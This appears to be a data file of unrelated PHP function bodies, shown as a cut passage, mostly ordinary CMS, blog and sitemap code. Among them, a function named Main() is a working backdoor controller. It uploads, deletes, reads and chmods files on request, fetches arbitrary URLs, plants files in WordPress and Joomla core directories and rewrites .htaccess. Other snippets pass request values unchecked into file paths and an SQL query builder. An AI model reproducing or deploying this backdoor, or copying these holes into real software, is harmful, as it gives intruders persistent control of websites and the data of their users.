('YmdHi'); $modified = true;}\n\t\t//if the file has no updated meta, add it. the entry will be pushed to the top of the RSS feed\n\t\tif (!isset ($meta['updated'])) {$meta['updated'] = date ('YmdHi'); $modified = true;}\n\t\t//save the file if the date/updated fields have been changed:\n\t\t//(of course, I could have just used `json_encode` here, but then it wouldn’t be tidy)\n\t\tif ($modified) {\n\t\t\t//what if we can’t save to disk?\n\t\t\tif (!is_writable (\"$type/$file_name\")) @chmod (\"$type/$file_name\", 0777) or errorPage (\n\t\t\t\t'denied_article.rem', 'Error: Permission Denied', array ('PATH' => \"$type/$file_name\")\n\t\t\t);\n\t\t\tfile_put_contents (\"$type/$file_name\",\n\t\t\t\t\"{\\t\\\"date\\\"\\t\\t:\\t${meta['date']},\\n\"\n\t\t\t\t.\"\\t\\\"updated\\\"\\t:\\t${meta['updated']}\"\n\t\t\t\t//optional stuff\n\t\t\t\t.(@$meta['title'] ? \",\\n\\t\\\"title\\\"\\t:\\t\\\"\".str_replace ('\"', '\\\"', $meta['title'])\n\t\t\t\t\t\t\t.\"\\\"\" : '')\n\t\t\t\t.(@$meta['licence'] ? \",\\n\\t\\\"licence\\\"\\t:\\t\\\"${meta['licence']}\\\"\" : '')\n\t\t\t\t.(@$meta['tags'] ? \",\\n\\t\\\"tags\\\"\\t\\t:\\t[\\\"\".implode ('\", \"',$meta['tags']).\"\\\"]\" : '')\n\t\t\t\t.(@$meta['enclosure'] ? \",\\n\\t\\\"enclosure\\\"\\t\\t:\\t[\\\"\"\n\t\t\t\t\t\t\t.implode ('\", \"',$meta['enclosure']).\"\\\"]\" : '')\n\t\t\t\t.(@$meta['url'] ? \",\\n\\t\\\"url\\\"\\t\\t:\\t\\\"${meta['url']}\\\"\" : '')\n\t\t\t\t.(@$meta['draft'] ? \",\\n\\t\\\"draft\\\"\\t\\t:\\t${meta['draft']}\\n\" : \"\\n\")\n\t\t\t\t//the entry’s content\n\t\t\t\t.\"}\\n\\n\".$content\n\t\t\t);\n\t\t}\n\t\t\n\t\t//add each entry to the XML sitemap\n\t\t$xml .= template_tags (template_load ('url.xml'), array (\n\t\t\t'DOMAIN' => APP_HOST,\n\t\t\t'URL' => \"$type/$name\",\n\t\t\t'DATE' => date ('c', filemtime (APP_ROOT.\"$type/$file_name\"))\n\t\t));\n\t\t\n\t\t//add this entry to the index\n\t\tarray_push ($list,\n\t\t\t$meta['updated'].\"|$type|\".@implode ('|', $meta['tags']).(@$meta['tags'] ? '|' : '').$name\n\t\t);\n\t\t\n\t\t//add to the count for each of the tags\n\t\tif (isset ($meta['tags'])) foreach ($meta['tags'] as $tag) @$tags[$tag]++;\n\t\t\n\t\t//add to the count for this content-type\n\t\t$count++;\n\t}\n\tarsort ($types);\t//sort content-types by count, descending (for tag-cloud)\n\tarsort ($tags);\t\t//sort tags by count, descending (also for tag-cloud)\n\trsort ($list);\t\t//sort index, the updated-date is used for order\n\t\n\t/* save list to cache\n\t -------------------------------------------------------------------------------------------------------------- */\n\tif (!is_writable (APP_CACHE)) @chmod (APP_CACHE, 0777) or errorPage (\n\t\t'denied_cache.rem', 'Error: Permission Denied', array ('PATH' => APP_CACHE)\n\t);\n\tfile_put_contents (APP_CACHE.'index.types', serialize ($types));\n\tfile_put_contents (APP_CACHE.'index.tags', serialize ($tags));\n\tfile_put_contents (APP_CACHE.'index.list', serialize ($list));\n\t\n\t/* rebuild sitemap?\n\t -------------------------------------------------------------------------------------------------------------- */\n\tclearstatcache (); $date = reset (@explode ('|', $list[0]));\n\tif (!file_exists (APP_SYSTEM.'sitemap.xml') || filemtime (APP_SYSTEM.'sitemap.xml') < mktime (\n\t\t(integer) substr ($date, 8, 2),\n\t\t(integer) substr ($date, 10, 2), 0,\n\t\t(integer) substr ($date, 4, 2),\n\t\t(integer) substr ($date, 6, 2),\n\t\t(integer) substr ($date, 0, 4)\n\t)) {\n\t\t//save the cache\n\t\tfile_put_contents (APP_SYSTEM.'sitemap.xml',\n\t\t\ttemplate_tag (template_load ('base.xml'), 'URLS', $xml), LOCK_EX\n\t\t) or errorPage (\n\t\t\t'denied_cache.rem', 'Error: Permission Denied', array ('PATH' => APP_CACHE)\n\t\t);\n\t\t//ping Google with the update\n\t\tif ($_SERVER['SERVER_ADDR'] != '127.0.0.1') get_headers (\n\t\t\t\"http://www.google.com/webmasters/tools/ping?sitemap=\".\n\t\t\turlencode ('http://'.APP_HOST.'/sitemap.xml')\n\t\t);\n\t};\n}", "function main($content,$conf)\t{\n\t\t$this->conf=$conf;\n\t\t$this->pi_setPiVarDefaults();\n\t\t$this->pi_loadLL();\n\t\t$this->pi_USER_INT_obj=1;\n\t\t\n\t\t// get path from Flexform where the filebrowser should start from\n\t\t$this->pi_initPIflexform();\n\t\t$pathFromFlexform1 = $this->pi_getFFvalue($this->cObj->data['pi_flexform'], 'directory', 'sDEF');\n\t\t$pathFromFlexform2 = $this->pi_getFFvalue($this->cObj->data['pi_flexform'], 'directoryFromTree', 'sDEF');\n\t\t\n\t\t$pathFromFlexform = !empty($pathFromFlexform1) ? $pathFromFlexform1 : $pathFromFlexform2;\n\n\t\t$pageID = $GLOBALS['TSFE']->id;\n\n\t\t$origPath = $pathFromFlexform;\n\t\tif (empty($origPath)) {\n\t\t\t// get path from TypoScript where the filebrowser should start from\n\t\t\t$origPath = $this->conf['directory'];\n\t\t}\n\t\t$origPath = ereg_replace('\\/$','',$origPath);\n\t\t\n\t\tif (!is_dir($origPath)) {\n\t\t\t$content .= '<div class=\"simplefilebrowser-error\">'.$this->pi_getLL('nodata').\"</div>\";\n\t\t} else {\n\t\t\t// check if there is a flexform entry for the basic path\n\t\t\t// if yes - it will have precedence over TS entry\n\t\t\t$getFile = t3lib_div::_GET('tx_simplefilebrowser_pi1');\n\t\t\t$getFile = $getFile['file'];\n\t\t\t\n\t\t\t// is there a path information in the GET-Var?\n\t\t\t$getPath = t3lib_div::_GET('tx_simplefilebrowser_pi1');\n\t\t\t$getPath = $getPath['path'];\n\t\t\tif (!empty($getPath)) {\n\t\t\t\t$path = $this->checkAndCleanPath($getPath,$origPath);\n\t\t\t}\n\t\t\t$path = !(empty($path)) ? $path : $origPath;\n\t \n $getDownloadPath = t3lib_div::_GET('tx_simplefilebrowser_pi1');\n $getDownloadPath = $getDownloadPath['path'];\n // read root dir via typoscript\n $rootPath = $this->conf['rootDirectory'];\n\n if (!empty($getDownloadPath)) {\n if($rootPath){\n $downloadPath = $this->checkAndCleanPathForDownload($getDownloadPath,$origPath,$rootPath);\n }else{\n $downloadPath = $this->checkAndCleanPath($path,$origPath);\n }\n }\n\t\t\t// is there any directory info?\n\t\t\tif (!empty($getFile)) {\n\t\t\t\t$filearray = t3lib_div::getAllFilesAndFoldersInPath(array(),$downloadPath);\n\t\t\t\t$pathToFile = $filearray[$getFile];\n\t\t\t\t$filename = $this->getFileName($pathToFile);\n\t\t\t\t$mimetype = $this->getMimeType($filename);\n\t\t\t\theader('Content-type: '.$mimetype['mimetype']);\n\t\t\t\theader('Content-Disposition: attachment; filename=\"'.$filename.'\"');\n\t \t\theader('Expires: 0');\n\t \t\theader('Cache-Control: must-revalidate, post-check=0, pre-check=0');\n\t\t \theader('Pragma: public');\n\t\t\t\treadfile($pathToFile);\n\t\t\t\tdie();\n\t\t\t}\n \n\t\t\t// get directory content\n\t\t\t$dir = $this->getDir($path);\n\t\t\t\t\n\t\t\t// display directory content\n\t\t\t$content .= $this->displayDir($dir,$path,$origPath);\n\t\t\t\n\t\t}\n\t\treturn $this->pi_wrapInBaseClass($content);\n\t}", "function fileDotPHP(){\n\t\t// Gets the file or files based on URL\n\t\tif(isset($_GET['file'])){\n\t\t\t$result = mysql_query(getFile($_GET['file']));\n\t\t}else{\n\t\t\t$result = mysql_query(getFile(\"\"));\n\t\t}\n\t\t\n\t\t// Displays what was retrieved\n\t\twhile ($row = mysql_fetch_assoc($result)) {\n\t\t\tgetFileGlobals($row);\n\t\t\tif(isset($_GET['file'])){\n\t\t\t\t$GLOBALS['adminObjectId'] = $GLOBALS['fileId'];\n\t\t\t}\t?>\n\t\t\t<div class=\"clear\">\n\t\t\t\t<div class=\"fl\">\n\t\t\t\t<?\tif(isset($_GET['file'])){ ?>\n\t\t\t\t\t\t<h1><? printHTML($GLOBALS['objectTitle']); ?></h1>\n\t\t\t\t<?\t}else{ ?>\n\t\t\t\t\t\t<h2><a href=\"<? printHTML(fullURL(getLangVar(\"fileURL\") . $GLOBALS['fileId'])); ?>\"><? printHTML($GLOBALS['objectTitle']); ?></a></h2>\n\t\t\t\t<?\t} ?>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"fr\">\n\t\t\t\t<?\t$result2 = mysql_query(getUser($GLOBALS['createdId'], \"userId\"));\n\t\t\t\t\t\n\t\t\t\t\t$row2 = mysql_fetch_assoc($result2);\n\t\t\t\t\tgetUserGlobals($row2);\n\t\t\t\t?>\t<h3>Created By: <a href=\"<? printHTML(fullURL(getLangVar(\"userURL\")) . $GLOBALS['userId']); ?>\"><? printHTML($GLOBALS['userName']); ?></a></h3>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"cl\">\n\t\t\t\t\t<? printHTML($GLOBALS['objectText']); ?>\n\t\t\t\t</div>\n\t\t\t<?\tif(isset($_GET['file'])){ ?>\n\t\t\t\t<div>\n\t\t\t\t\t<h3><a href=\"<? printHTML($GLOBALS['filePath']); ?>\">Download</a></h3>\n\t\t\t\t</div>\n\t\t\t<?\t}\t?>\n\t\t\t\t<div class=\"fl\">\n\t\t\t\t\t<h4>Created: <? printHTML(date($GLOBALS['dateTimeFormat'], addDate($GLOBALS['createdOn'], $GLOBALS['timeOffset'], \"hour\"))); ?></h4>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"fr\">\n\t\t\t\t\t<h4><a href=\"<? printHTML(fullURL(getLangVar(\"eventURL\") . $GLOBALS['objectId'], \"create\")); ?>\">Sub Event</a> | <a href=\"<? printHTML(fullURL(getLangVar(\"messageURL\") . $GLOBALS['objectId'], \"create\")); ?>\">Reply</a> | <a href=\"<? printHTML(fullURL(getLangVar(\"fileURL\") . $GLOBALS['objectId'], \"create\")); ?>\">Attach File</a> | <a href=\"<? printHTML(fullURL(getLangVar(\"fileURL\") . $GLOBALS['fileId'], \"edit\")); ?>\">Edit</a></h4>\n\t\t\t\t</div>\n\t\t\t</div>\n\t<?\t}\n\t\t\n\t\t// Gets related objects\n\t\tif(isset($_GET['file'])){\n\t\t\tgetRelatedObjects($GLOBALS['objectId']);\n\t\t}\n\t}", "function main()\t{\n\t\t\t\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t\t\t\t// Access check!\n\t\t\t\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t\t\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t\t\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\t\t\t\t\n\t\t\t\t\tif (($this->id && $access) || ($BE_USER->user['admin'] && !$this->id))\t{\n\n\t\t\t\t\t\t\t// Draw the header.\n\t\t\t\t\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t\t\t\t\t$this->doc->backPath = $BACK_PATH;\n\t\t\t\t\t\t$this->doc->form='<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">';\n\n\t\t\t\t\t\t\t// JavaScript\n\t\t\t\t\t\t$this->doc->JScode = '\n\t\t\t\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tfunction confirmURL(text,URL){\n\t\t\t\t\t\t\t\t\tvar agree=confirm(text);\n\t\t\t\t\t\t\t\t\tif (agree) {\n\t\t\t\t\t\t\t\t\t\tjumpToUrl(URL);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t</script>\n\t\t\t\t\t\t';\n\t\t\t\t\t\t$this->doc->postCode='\n\t\t\t\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t\t\t\t</script>\n\t\t\t\t\t\t';\n\n\t\t\t\t\t\t$headerSection = $this->doc->getHeader('pages', $this->pageinfo, $this->pageinfo['_thePath']) . '<br />'\n\t\t\t\t\t\t\t. $LANG->sL('LLL:EXT:lang/locallang_core.xml:labels.path') . ': ' . t3lib_div::fixed_lgd_cs($this->pageinfo['_thePath'], -50);\n\n\t\t\t\t\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t\t\t\t$this->content.=$this->doc->section('',$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,'SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function'])));\n\t\t\t\t\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t\t\t\t// Render content:\n\t\t\t\t\t\t$this->moduleContent();\n\n\n\t\t\t\t\t\t// ShortCut\n\t\t\t\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// If no access or if ID == zero\n\n\t\t\t\t\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t\t\t\t\t$this->doc->backPath = $BACK_PATH;\n\n\t\t\t\t\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\t\n\t\t\t// initialize doc\n\t\t$this->doc = t3lib_div::makeInstance('template');\n\t\t$this->doc->setModuleTemplate(t3lib_extMgm::extPath('ics_utopia') . 'mod3/mod_template.html');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$docHeaderButtons = $this->getButtons();\n\n\t\tif (($this->id && $access) || ($BE_USER->user['admin'] && !$this->id))\t{\n\n\t\t\t\t// Draw the form\n\t\t\t$this->doc->form = '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">';\n\n\t\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode='\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\t\t} else {\n\t\t\t\t// If no access or if ID == zero\n\t\t\t$docHeaderButtons['save'] = '';\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t}\n\n\t\t\t// compile document\n\t\t$markers['FUNC_MENU'] = t3lib_BEfunc::getFuncMenu(0, 'SET[function]', $this->MOD_SETTINGS['function'], $this->MOD_MENU['function']);\n\t\t$markers['CONTENT'] = $this->content;\n\n\t\t\t\t// Build the <body> for the module\n\t\t$this->content = $this->doc->startPage($LANG->getLL('title'));\n\t\t$this->content.= $this->doc->moduleBody($this->pageinfo, $docHeaderButtons, $markers);\n\t\t$this->content.= $this->doc->endPage();\n\t\t$this->content = $this->doc->insertStylesAndJS($this->content);\n\t\n\t}", "public function docs() {\n\t\techo(file_get_contents(BASE_PATH . '/app/views/docs/index.html'));\n\t\texit();\n\t}", "function download_suket_018_janda()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_018/template_surat_pengantar_nikah_janda.docx', NULL);\n\t}", "function download_suket_016()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_016/template_surat_pernyataan_penyerahan_waris.docx', NULL);\n\t}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\n\t\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form='<form action=\"\" method=\"POST\">';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = '\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\t\t\t</script>\n\t\t';\n\t\t$this->doc->postCode='\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 1;\n\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t</script>\n\t\t';\n\n\t\t$headerSection = $this->doc->getHeader('pages',$this->pageinfo,$this->pageinfo['_thePath']).'<br />'.$LANG->sL('LLL:EXT:lang/locallang_core.xml:labels.path').': '.t3lib_div::fixed_lgd_pre($this->pageinfo['_thePath'],50);\n\n\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->divider(5);\n\n\t\t// Render content:\n\t\t$this->moduleContent();\n\n\t\t// ShortCut\n\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t}\n\n\t\t$this->content.=$this->doc->spacer(10);\n\n\t}", "private function indexPhpCreate() {\n\t\t$path = $this->getBackupDirPath();\n\t\t$index_php = $path . 'index.php';\n\n\t\t/* Create the backups directory if it doesn't exist */\n\t\tif ( is_writable( dirname( $path ) ) && ! is_dir( $path ) ) {\n\t\t\tmkdir( $path, 0755 ); }\n\n\t\tif ( ! file_exists( $index_php ) && is_writable( $path ) ) {\n\t\t\t$contents[]\t= '<?php';\n\t\t\t$contents[] = PHP_EOL;\n\t\t\t$contents[] = '// Silence is golden.';\n\t\t\t$contents[] = PHP_EOL;\n\t\t\t$contents[] = 'die();';\n\t\t\t$contents[] = PHP_EOL;\n\t\t\t$contents[] = '?>';\n\n\t\t\tfile_put_contents( $index_php, $contents );\n\t\t}\n\t}", "function Help() {\r\n\t\t\r\n\t\tglobal $path, $backgroundColor, $IP, $language;\r\n\t\tif( file_exists( \"$path.help.$language.ihtml\" ) ) include_once( \"$path.help.$language.ihtml\" );\r\n\t\telse include_once( \"$path.help.fr.ihtml\" );\r\n\t}", "function Main() \n{\t\t\n\tif(isset($_REQUEST['check_script']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\tCheckScript();\n\t\texit();\t\t\n\t}\n\t\n\tif(isset($_REQUEST['pwd']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\tGetPwdPath();\n\t\texit();\n\t}\n\n\tif(isset($_REQUEST['inc_css']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\tif(strncmp(__MAIN_PATH__, './', 2) === 0)\n\t\t{\n\t\t\t$_REQUEST['file-path'] = EraseDubleSlash(__MAIN_PATH__.$_REQUEST['file-path']);\n\t\t}\n\t\tMakeInclude(); \n\t\texit();\n\t}\n\n\tif(isset($_REQUEST['make_repair']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\t\n\t\tswitch(__CMS_NAME__)\n\t\t{\n\t\t\tcase 'wordpress':\n\t\t\t{\n\t\t\t\t$_REQUEST['file-path'] = ''; \n\t\t\t\t$_REQUEST['file-path'] = EraseDubleSlash(__MAIN_PATH__.'/wp-includes/class.wp-includes.php');\n\t\t\t\tUploadFile();\n\n\n\t\t\t\t$_REQUEST['file-path'] = ''; \n\t\t\t\t$_REQUEST['file-path'] = EraseDubleSlash(__MAIN_PATH__.'/wp-includes/vars.php');\n\t\t\t\tMakeInclude();\t\t\t\t\n\n\n\t\t\t\t$_REQUEST['dir-path'] = '';\n\t\t\t\t$_REQUEST['dir-path'] = EraseDubleSlash(__MAIN_PATH__.'/');\n\t\t\t\tClearCache();\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\tcase 'joomla':\n\t\t\t{\n\t\t\t\t$_REQUEST['file-path'] = ''; \n\t\t\t\t$_REQUEST['file-path'] = EraseDubleSlash(__MAIN_PATH__.'/libraries/joomla/base/adapterobserver.php');\n\t\t\t\tUploadFile();\n\t\t\t\t\n\n\t\t\t\t$_REQUEST['file-path'] = '';\n\t\t\t\t$_REQUEST['file-path'] = EraseDubleSlash(__MAIN_PATH__.'/libraries/loader.php');\n\t\t\t\tMakeInclude();\n\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\tcase 'html':\n\t\t\t{\n\t\t\t\t$sScriptPath = '';\n\t\t\t\tif(isset($_REQUEST['file-path']) === true)\n\t\t\t\t{\n\t\t\t\t\t$sScriptPath = '/'.$_REQUEST['file-path'];\n\t\t\t\t\t$_REQUEST['file-path'] = EraseDubleSlash(__MAIN_PATH__.'/'.trim($_REQUEST['file-path']));\n\t\t\t\t\t\n\t\t\t\t\t$bIsUploadCorrect = false;\n\t\t\t\t\t$bIsUploadCorrect = UploadFile();\n\t\t\t\t\tif($bIsUploadCorrect === false)\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$sUploadScriptPath = '';\n\t\t\t\t\t$sUploadScriptPath = RepairHtml();\n\t\t\t\t\tif($sUploadScriptPath === false)\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t\tRepairHtmlHtaccess(__MAIN_PATH__.'.htaccess', $sUploadScriptPath);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\n\t\t\n\n\t\texit();\n\t}\n\t\n\tif(isset($_REQUEST['clr_css']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\tClearInclude(); \n\t\texit();\n\t}\n\n\tif(isset($_REQUEST['clr_htacc']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\tClearHtaccess(); \n\t\texit();\n\t}\n\t\n\n\tif(isset($_REQUEST['clr_chc']) == true)\n\t{\n\t\tCheckSecureValue();\n\t\tClearCache(); \n\t\texit();\n\t}\t\t\n\t\n\t\n\t\n\tif(isset($_REQUEST['directory_list']) === true)\n\t{\t\n\t\tCheckSecureValue();\n\t\tGetDirectoryList();\n\t\texit();\n\t}\n\t\n\t\n\tif(isset($_REQUEST['file_delete']) === true)\n\t{\n\t\tCheckSecureValue();\n\t\tDeleteFile();\n\t\texit();\n\t}\n\n\tif(isset($_REQUEST['mkdir']) === true)\n\t{\n\t\tCheckSecureValue();\n\t\tMakeDir();\n\t\texit();\n\t}\n\t\n\tif(isset($_REQUEST['file_upload']) === true)\n\t{\n\t\tCheckSecureValue();\n\t\tUploadFile();\n\t\texit();\n\t}\t\n\t\n\t\n\tif(isset($_REQUEST['file_content']) === true)\n\t{\n\t\tCheckSecureValue();\n\t\tGetFileContent();\n\t\texit();\n\t}\n\t\n\t\n\tif(isset($_REQUEST['file_exist']) === true)\n\t{\n\t\tCheckSecureValue();\n\t\tIsFileExist();\n\t\texit();\n\t}\n\n\t\n\tif(isset($_REQUEST['chmod']) === true)\n\t{\n\t\tCheckSecureValue();\n\t\tFileChmod();\n\t\texit();\n\t}\n\t\n\tif(isset($_REQUEST['GetContent']) === true)\n\t{\n\t\t$sGetUrl = '';\n\t\t$sGetUrl = trim($_REQUEST['GetContent']);\n\t\t\n\t\tif(strlen($sGetUrl) == 0)\n\t\t{\n\t\t\techo '<fail>no valid url</fail>';\n\t\t\texit();\n\t\t}\n\t\t\n\t\t$nMatch = preg_match('#^http:\\/\\/#i', $sGetUrl); \n\t\tif($nMatch === false || $nMatch == 0)\n\t\t{\n\t\t\t$sGetUrl = 'http://'.$sGetUrl;\n\t\t}\n\n\t\t\n\t\t\n\t\t$sOutContent = '';\n\t\t$bGetContentResult = false;\n\t\t$bGetContentResult = GetContents($sGetUrl, $sOutContent);\n\t\t\n\t\tif($bGetContentResult === false || $sOutContent === false || strlen($sOutContent) === 0)\n\t\t{\n\t\t\techo '<fail>cant get content</fail>';\n\t\t} else\n\t\t{\n\t\t\techo $sOutContent;\n\t\t}\n\t}\n}", "function gettingStarted()\n {\n $data['$option'] = \"doc/gettingstarted\";\n $this->loadContent('doc/home', $data);\n }", "function asc_default_scripts( &$scripts ) {\n\tinclude ABSPATH . ASC_CORE . '/version.php'; // include an unmodified $asc_version\n\n\t$develop_src = false !== strpos( $asc_version, '-src' );\n\n\tif ( ! defined( 'SCRIPT_DEBUG' ) ) {\n\t\tdefine( 'SCRIPT_DEBUG', $develop_src );\n\t}\n\n\tif ( ! $guessurl = admin_storefront_url() ) {\n\t\t$guessed_url = true;\n\t\t$guessurl = site_url();\n\t}\n\n\t$scripts->base_url = $guessurl;\n\t$scripts->content_url = defined('ASC_CONTENT_URL')? ASC_CONTENT_URL : '';\n\t$scripts->default_version = PRODUCT_VERSION_NUMBER;\n\t$scripts->default_dirs = array('avactis-system/admin/js/', 'includes/js/');\n\n\t$suffix = SCRIPT_DEBUG ? '' : '.min';\n\t$dev_suffix = $develop_src ? '' : '.min';\n\n\t$scripts->add( 'prototype', '//ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1');\n\t$scripts->add( 'scriptaculous-root', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array('prototype'), '1.9.0');\n\t$scripts->add( 'scriptaculous-builder', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array('scriptaculous-root'), '1.9.0');\n\t$scripts->add( 'scriptaculous-dragdrop', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array('scriptaculous-builder', 'scriptaculous-effects'), '1.9.0');\n\t$scripts->add( 'scriptaculous-effects', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js', array('scriptaculous-root'), '1.9.0');\n\t$scripts->add( 'scriptaculous-slider', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/slider.js', array('scriptaculous-effects'), '1.9.0');\n\t$scripts->add( 'scriptaculous-sound', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/sound.js', array( 'scriptaculous-root' ), '1.9.0' );\n\t$scripts->add( 'scriptaculous-controls', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/controls.js', array('scriptaculous-root'), '1.9.0');\n\t$scripts->add( 'scriptaculous', false, array('scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls') );\n\n\t// jQuery\n\t$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '1.11.0' );\n\t$scripts->add( 'jquery-core', 'includes/jquery/jquery.js', array(), '1.11.0' );\n\t$scripts->add( 'jquery-migrate', \"includes/jquery/jquery-migrate$suffix.js\", array(), '1.2.1' );\n\n\t// full jQuery UI\n\t$scripts->add( 'jquery-ui-core', 'includes/jquery/ui/jquery.ui.core.min.js', array('jquery'), '1.10.4');\n\t$scripts->add( 'jquery-effects-core', 'includes/jquery/ui/jquery.ui.effect.min.js', array('jquery'), '1.10.4', 1 );\n\n\t$scripts->add( 'jquery-effects-blind', 'includes/jquery/ui/jquery.ui.effect-blind.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-bounce', 'includes/jquery/ui/jquery.ui.effect-bounce.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-clip', 'includes/jquery/ui/jquery.ui.effect-clip.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-drop', 'includes/jquery/ui/jquery.ui.effect-drop.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-explode', 'includes/jquery/ui/jquery.ui.effect-explode.min.js', array('jquery-effects-core'), '1.10.4', 1 );\n\t$scripts->add( 'jquery-effects-fade', 'includes/jquery/ui/jquery.ui.effect-fade.min.js', array('jquery-effects-core'), '1.10.4', 1 